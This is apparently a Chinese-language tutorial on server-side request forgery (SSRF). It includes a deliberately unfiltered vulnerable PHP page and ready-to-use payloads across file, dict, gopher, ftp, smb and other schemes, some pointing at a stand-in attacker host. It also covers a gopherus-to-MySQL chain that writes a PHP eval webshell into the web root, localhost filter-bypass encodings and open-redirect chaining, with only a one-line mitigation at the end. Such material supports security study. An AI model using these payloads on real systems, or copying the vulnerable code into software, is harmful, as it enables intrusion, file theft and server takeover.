SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
简单来说就是欺骗服务器对内网发送请求
SSRF(服务器端请求伪造)与文件包含类似,两者都可以被用来访问外部或内部内容。区别在于
file_get_contents()
、 fopen()
、 fread()
、 fsockopen()
、 curl_exec()
),这意味着文件包含漏洞通常比 SSRF 更容易导致远程代码执行(RCE)函数 | 说明 | SSRF 如何利用 |
---|---|---|
file_get_contents() |
读取文件或远程 URL 内容 | 如果传入 http:// 或 ftp:// 地址,服务器就会主动请求外部 URL,可被 SSRF 利用。 |
fopen() |
打开文件或 URL | 支持 http:// 、ftp:// 等协议,也会导致服务器对内网或外网发起请求。 |
fread() |
读取打开的文件流 | 通常配合 fopen() 使用,间接参与 SSRF(因为流是远程资源)。 |
fsockopen() |
打开一个网络连接(低层 TCP 连接) | 可以精细控制请求,如直接连接内网服务(127.0.0.1:6379 ),非常适合 SSRF 内网探测。 |
curl_exec() |
执行一个 cURL 会话 | cURL 支持几乎所有协议,最常见的 SSRF 入口,而且支持请求头伪造、POST 请求等进阶攻击。 |
我本地创建了一个没有任何过滤的ssrf的漏洞测试网页
SSRF 参数URL
<?php
error_reporting(E_ALL ^ E_NOTICE);
function curl($url){
$ch = curl_init();//初始化curl会话
curl_setopt($ch,CURLOPT_URL,$url);//指定请求的url
curl_setopt($ch,CURLOPT_HEADER,0);// 启用时会将头文件的信息作为数据流输出。参数为1表示输出信息头,为0表示不输出
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>
SSRF最常见的用法就是通过不同的协议去对内网发起请求,然后进行利用
file:
读取服务器上任意文件内容
?url=file:///etc/password
?url=file://C://pass.txt
dict:
?url=dict://127.0.0.1:6379/info
dict://@:/d:
可以用来操作内网Redis等服务ssrf.php?url=dict://attacker:11111/ 字典协议自带头尾,限制较大,不能转化成GET或者POST的请求包。
ftp、ftps:FTP匿名访问、爆破
?url=ftp://anonymous:anonymous@192.168.0.10/
tftp:UDP协议扩展
?url=tftp://192.168.0.10/boot.cfg
imap/imaps/pop3/pop3s/smtp/smtps:爆破邮件用户名密码
?url=imap://user:pass@192.168.0.10/
phar:// 协议来触发反序列化漏洞
?url=phar:///var/www/html/malicious.phar
telnet:SSH/Telnet匿名访问及爆破
?url=telnet://192.168.0.10:23/
smb/smbs:SMB匿名访问及爆破
?url=smb://attacker.com/share
LDAP:ldap:// or ldaps:// or ldapi:// 代表轻量级目录访问协议
?url=ldap://127.0.0.1:389
Gopher:gopher:// 非常强大的协议,支持换行可以伪造其他的所有协议,可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求,还可以攻击内网未授权MySQL。
推荐使用 gopherus
?url=gopher://127.0.0.1:6379/_%2A1%0D%0A%24%34%0D%0AINFO%0D%0A
如果目标不出网,则可以根据返回包的特征来进行判断,如目标端口开放响应时间200Ms,未开放则响应时间1000ms等
不适合复杂的命令
http://192.168.8.9/okssrf.php?url=dict://127.0.0.1:6379/info
info可以换成任意redis命令
更多redis利用看 1.redis未授权利用方式
python2 gopherus.py --exploit mysql
root
select "<?php @eval($_POST['cmd']);?>" into outfile '/var/www/html/webshell.php';
记得对 _
后面的在进行一次url编码,避免出现特殊字符
然后用哥斯拉连接就行了
http://127.1
http://0
http:@0/
http://0.0.0.0:80
http://[::]:80/
http://[0000::1]:80/
http://2130706433 # Decimal version of localhost
http://0x7f000001/ # Hexadecimal version of localhost
https://{url}@{target_host}
https://{target_host}#{url}
https://{url}.{target_host}
ORED(开放重定向)组合
通过 SSRF 漏洞请求 ORED 漏洞页面,然后由于过滤较弱的开放重定向,继续被重定向到实际的目标页面
SSRF漏洞最大的成因是URL完全可控,导致服务器会访问我们构造好的url。所以需要着重限制用户构造的URL。